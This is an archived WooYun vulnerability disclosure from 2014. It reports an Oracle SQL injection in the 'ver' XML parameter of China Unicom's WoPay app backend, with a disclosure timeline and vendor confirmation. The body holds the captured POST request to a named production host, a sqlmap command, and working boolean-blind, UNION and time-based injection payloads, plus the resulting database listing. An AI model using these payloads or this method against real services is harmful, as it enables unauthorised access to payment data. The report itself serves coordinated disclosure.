乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2014-09-20: 细节已通知厂商并且等待厂商处理中 2014-09-25: 厂商已经确认,细节仅向厂商公开 2014-10-05: 细节向核心白帽子及相关领域专家公开 2014-10-15: 细节向普通白帽子公开 2014-10-25: 细节向实习白帽子公开 2014-11-04: 细节向公众公开
中国联通沃支付一处Oracle数据库注射 支持UNION
打开从豌豆荚应用商店下载的"沃支付"APP,抓包发现这么一条请求
POST /payFront2/recommend.action?operation=CX10 HTTP/1.1content-type: text/xmlAccept-Charset: GB2312contentType: GB2312SignatureCharacter: c691b17a0cf059741addc0a597ed1789f2593f0dCookieSafeStr: -1|b12e9d62f3fd2fd5cc993b765fc47e28User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.2.2; virtual machine Build/JDQ39E)Host: cellphonefront.unicompayment.com:55352Connection: Keep-AliveAccept-Encoding: gzipContent-Length: 334 <?xml version="1.0" encoding="GB2312" standalone="yes" ?><inputdatas><controlinfo><ver>2.1.0*</ver><did>000000000000000</did><dtype>2</dtype><operation>CX10</operation></controlinfo><params sets="1"><param rows="1" cols="1" set_id="101"><row rownum="1"><col colnum="1" param_id ="101101">main</col></row></param></params></inputdatas>
其中,<ver>2.1.0</ver>参数存在SQL注射。
sqlmap.py -r e:\1.txt --force-ssl --skip-urlencode --dbs
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: (custom) POSTParameter: #1* Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: <?xml version="1.0" encoding="GB2312" standalone="yes" ?><inputdatas><controlinfo><ver>2.1.0' AND 1553=1553 AND 'gdbh'='gdbh</ver><did>000000000000000</did><dtype>2</dtype><operation>CX10</operation></controlinfo><params sets="1"><param rows="1" cols="1" set_id="101"><row rownum="1"><col colnum="1" param_id ="101101">main</col></row></param></params></inputdatas> Type: UNION query Title: Generic UNION query (NULL) - 7 columns Payload: <?xml version="1.0" encoding="GB2312" standalone="yes" ?><inputdatas><controlinfo><ver>2.1.0' UNION ALL SELECT NULL,NULL,NULL,CHR(113)||CHR(111)||CHR(115)||CHR(105)||CHR(113)||CHR(72)||CHR(107)||CHR(72)||CHR(75)||CHR(84)||CHR(65)||CHR(72)||CHR(77)||CHR(86)||CHR(80)||CHR(113)||CHR(104)||CHR(98)||CHR(106)||CHR(113),NULL,NULL,NULL FROM DUAL-- </ver><did>000000000000000</did><dtype>2</dtype><operation>CX10</operation></controlinfo><params sets="1"><param rows="1" cols="1" set_id="101"><row rownum="1"><col colnum="1" param_id ="101101">main</col></row></param></params></inputdatas> Type: AND/OR time-based blind Title: Oracle AND time-based blind (heavy query) Payload: <?xml version="1.0" encoding="GB2312" standalone="yes" ?><inputdatas><controlinfo><ver>2.1.0' AND 6395=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) AND 'KtUw'='KtUw</ver><did>000000000000000</did><dtype>2</dtype><operation>CX10</operation></controlinfo><params sets="1"><param rows="1" cols="1" set_id="101"><row rownum="1"><col colnum="1" param_id ="101101">main</col></row></param></params></inputdatas>---back-end DBMS: Oracleavailable databases [6]:[*] CELLPHONE_FRONT[*] EXFSYS[*] MDSYS[*] SYS[*] SYSTEM[*] XDB
联通更专业
危害等级:高
漏洞Rank:11
确认时间:2014-09-25 13:24
暂无